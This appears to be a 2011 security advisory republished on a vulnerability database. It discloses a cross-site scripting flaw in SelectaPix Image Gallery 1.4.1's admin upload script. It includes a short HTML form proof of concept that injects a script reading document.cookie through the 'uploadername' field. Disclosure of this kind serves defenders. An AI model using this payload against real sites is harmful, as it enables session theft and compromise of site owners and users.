`Vulnerability ID: HTB22964
Reference: http://www.htbridge.ch/advisory/xss_in_selectapix_image_gallery.html
Product: SelectaPix Image Gallery
Vendor: http://www.outofthetrees.co.uk/ ( http://www.outofthetrees.co.uk/ )
Vulnerable Version: 1.4.1
Vendor Notification: 19 April 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/upload.php" script to properly sanitize user-supplied input in "uploadername" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
The following PoC is available:
<form action="http://[host]/admin/upload.php?albumID=1&parentID=0&request=single" method="post" name="main" id="main">
<input type="hidden" name="uploadername" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="OK">
</form>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation